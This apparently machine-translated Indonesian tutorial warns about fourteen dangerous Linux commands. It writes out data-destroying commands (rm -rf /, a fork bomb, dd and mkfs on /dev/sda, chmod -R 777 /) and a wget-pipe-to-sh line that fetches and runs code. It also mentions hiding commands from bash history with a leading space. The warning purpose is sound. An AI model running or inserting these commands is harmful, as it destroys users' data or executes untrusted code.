Pendahuluan
Menjalankan perintah di terminal Linux mudah dan cepat dan biasanya memberikan pengalaman superior dibandingkan dengan menggunakan GUI untuk melakukan tugas yang sama. Perintah menyediakan akses ke fitur yang tidak tersedia dengan GUI Linux, tetapi juga bisa berbahaya jika Anda tidak yakin apa sebenarnya yang mereka lakukan.
Dalam artikel ini, Anda akan mempelajari perintah Linux berbahaya mana yang harus Anda hindari dan alasannya.
Peringatan: Jangan jalankan perintah ini karena beberapa di antaranya dapat merusak sistem atau file Anda, menghapus data Anda tanpa mengeluarkan peringatan atau permintaan konfirmasi sebelumnya. Tangkapan layar yang disediakan dalam tutorial semuanya dibuat di mesin virtual.
1. rm -rf / Perintah
rm
perintah di Linux memungkinkan Anda untuk menghapus file dan direktori. Namun, tidak ada opsi undelete, yang membuat file yang terhapus hilang selamanya. Itu berarti menggunakan rm
perintah untuk menghapus file sistem sensitif secara permanen akan menyebabkan ketidakstabilan sistem.
Perintahnya adalah:
rm -rf /
Menjalankan rm
perintah dengan -r
dan -f
flag memaksa penghapusan rekursif melalui semua subdirektori. Menjalankannya di /
direktori root akan menghapus sistem sepenuhnya.
2. Perintah>/dev/sda
Menjalankan perintah dan menambahkannya dengan >/dev/sda
menulis output perintah pada /dev/sda
blok, yaitu, pada hard drive Anda. dev/sda
blok berisi data sistem file, yang kemudian diganti dengan output perintah, merusak sistem Anda dan membuatnya tidak dapat dipulihkan.
Sintaksnya adalah:
command >/dev/sda
command
dapat berupa perintah Linux apa pun. Misalnya, menjalankan perintah shred akan menghancurkan semua data di drive.
3. :(){ :|:&};:Bom Garpu
Perintah fork bomb membuat fungsi yang disebut :
dan mendefinisikan konten fungsi, membuatnya mengeksekusi dirinya sendiri dan menyalurkan ke panggilan lain dari dirinya sendiri. Dengan demikian, fungsi berjalan di latar depan sambil membuat proses yang sama berjalan di latar belakang . Fungsi tersebut dijalankan dan mereplikasi dirinya sendiri berulang kali, dengan cepat menggunakan semua sumber daya Anda hingga sistem berhenti berfungsi.
Sintaks dari perintah fork bomb adalah:
:(){ :|:& };:
4.> file Perintah
> file
perintah adalah kependekan dari cat /dev/null > file
.
Mengarahkan perintah ke file bisa sangat berguna, tetapi membuat kesalahan dalam sintaks perintah atau menjalankan perintah dengan sembarangan dapat menghapus file sistem yang penting.
> file
perintah menggunakan fitur pengalihan bash untuk membersihkan konten file, menghapusnya hingga bersih.
Misalnya, jalankan:
> phoenixnap.conf
Outputnya membuat file konfigurasi kosong.
Selain itu, menambahkan spasi sebelum perintah mencegahnya muncul di log di shell Bash. Ini berarti seseorang dapat menghapus file Anda, dan tidak akan ada jejak yang tersisa jika mereka mendahului perintah dengan spasi.
5. ^foo^bar Perintah
^foo^bar
perintah bisa berguna dan berbahaya. Meskipun perintah menghemat waktu karena memungkinkan Anda mengedit perintah yang Anda jalankan sebelumnya dan menjalankannya lagi, perintah ini juga dapat menyebabkan masalah jika Anda tidak memeriksa perubahan yang Anda buat sebelum menjalankannya.
Perintah tersebut menggantikan contoh pertama foo
dengan bar
. Misalnya:
Dalam contoh pertama menjalankan echo
perintah, output menyatakan bahwa perintah tidak ditemukan karena salah ketik. Saat menjalankan ^foo^bar
perintah dan mengoreksi kesalahan ketik, perintah echo dijalankan dengan benar.
6. direktori mv /dev/null
Perintah berbahaya lainnya yang dapat Anda temukan online adalah memindahkan direktori atau file ke /dev/null
. Di Linux, /dev/null
adalah file yang dikenal sebagai "lubang hitam" karena menghancurkan semua data yang Anda pindahkan ke lokasi file.
Namun, sejak /dev/null
bukan direktori, tetapi file karakter, mv
tidak dapat menimpanya dengan direktori lain. Di sisi lain, Anda dapat memindahkan file ke sana, dan file tersebut menimpa konten /dev/null
.
Misalnya:
sudo mv /home/bosko/employees.txt /dev/null
Setelah menjalankan perintah ini, /dev/null
adalah file biasa. Bahaya dalam membuat perubahan itu adalah /dev/null
seharusnya tidak pernah menampilkan data apa pun, dan sekarang ini adalah file biasa. Dengan konfigurasi yang salah, itu dapat menyebabkan data acak dimasukkan ke dalam file sistem, yang mengarah ke sistem yang rusak.
7. wget http://malicious_source_url -O-|sh
Perintah wget memungkinkan Anda mengunduh file di terminal. Namun, perintah tersebut mungkin menginstruksikan wget
untuk mengunduh skrip dari sumber jahat dan menjalankannya dengan sh
.
Selalu perhatikan alamat paket atau file yang Anda unduh, dan pastikan itu adalah sumber tepercaya, jika tidak, Anda berisiko menginfeksi sistem Anda.
8. crontab -r
crontab
perintah membantu mengotomatisasi tugas sehari-hari. Namun, semua perintah dan instruksi disimpan dalam satu file crontab, yang dapat dihapus dengan menentukan -r
bendera. Ini bisa terjadi karena kesalahan saat Anda ingin menentukan -e
tandai dan tanpa sengaja memasukkan -r
. Hati-hati karena tidak ada yes/no
prompt sebelum menghapus file.
Pastikan untuk mencadangkan file crontab Anda karena tidak banyak opsi pemulihan setelah dihapus.
9. sejarah | s
history | sh
perintah bisa berbahaya karena mengeksekusi setiap perintah dari log perintah yang telah Anda jalankan. Tindakan tersebut dapat menyebabkan ketidakstabilan sistem dan menjalankan perintah yang tidak ingin Anda jalankan lagi.
10. dd if=/dev/zero of=/dev/sda
Perintah dd menginstruksikan sistem untuk menulis data ke drive fisik. Sumber data ditentukan dalam if
parameter, yang dapat berupa random of
jika Anda ingin menulis data acak ke blok. if
parameter juga bisa zero of
jika Anda ingin menghilangkan hard drive Anda. Pilihan mana pun akan menghapus OS dari drive.
Misalnya:
dd if=/dev/random of=/dev/sda
Menjalankan perintah di atas akan mengisi hard drive Anda dengan data acak, menyebabkan sistem Anda gagal.
11. mkfs.ext3 /dev/sda
mkfs
perintah membuat sistem file baru pada perangkat yang ditentukan. Menjalankan mkfs
bisa berbahaya jika Anda tidak mencadangkan data Anda sebelum menjalankan perintah. Ini memformat partisi/hard drive yang ditentukan, menghapus semua data darinya sepenuhnya.
Peringatan: Meskipun berguna untuk memformat partisi disk, memformat seluruh hard drive (seperti /dev/sda
) membuat sistem tidak dapat dipulihkan. Pelajari lebih lanjut tentang memformat partisi disk di Linux.
Pada contoh berikut, mkfs
membuat ext.3
baru sistem file setelah memformat seluruh hard drive:
mkfs.ext3 /dev/sda
Karena perintah memformat seluruh hard drive untuk membuat sistem file baru, sistem tidak lagi dapat di-boot dan menampilkan kesalahan berikut:
Bergantung pada preferensi Anda, Anda juga dapat menginstruksikan mkfs
untuk membuat sistem file yang berbeda, seperti ext4
. Anda juga dapat memilih untuk memformat satu partisi atau hard drive yang berbeda, yang ditentukan sebagai pengganti /dev/sda
:
mkfs.ext4 /dev/sda1
Pada contoh di atas, kami menginstruksikan mkfs
untuk membuat ext4
filesystem pada partisi pertama pada hard drive pertama.
12. gunzip untrusted.gz
Membuka ritsleting arsip yang tidak tepercaya dapat berubah menjadi bom zip, juga dikenal sebagai bom dekompresi. Zip bomb adalah file berbahaya yang menyerang sistem yang mencoba membacanya. Saat mendekompresi file, file tersebut menempati banyak ruang disk, yang dapat berakibat fatal bagi banyak layanan sistem.
Jadi, berhati-hatilah saat menangani arsip dari sumber yang tidak tepercaya, terutama karena zip bomb adalah salah satu file berbahaya tertua di internet.
13. Hapus Python
Sebelum Anda berpikir untuk menghapus versi lama Python dari sistem Linux Anda, ketahuilah bahwa sistem memerlukan instalasi python2 yang berfungsi untuk berfungsi dengan benar. Menghapus instalasi versi Python default di Ubuntu menyebabkan Graphical Display Manager yang digunakan untuk masuk ke sistem gagal, dan Anda terkunci dari sistem Anda .
Namun, jika Anda tahu apa yang Anda lakukan, Anda dapat menghapus Python2.x.x dan semua dependensinya dengan menjalankan:
sudo apt purge python2.x-minimal
14. chmod -R 777 /
Linux adalah sistem multi-pengguna, dan chmod
perintah memungkinkan Anda mengubah izin file untuk mengonfigurasi akses pengguna ke file atau direktori tertentu.
Namun, chmod dapat mengubah izin semua file Anda secara rekursif:
chmod -R 777 /
Perintah di atas memungkinkan semua pengguna untuk membaca, menulis, dan mengeksekusi semua file di sistem, yang membahayakan keamanan. Selain itu, sistem tertentu dapat mengalami malfungsi jika izin terlalu terbuka dan mencegah sistem melakukan booting.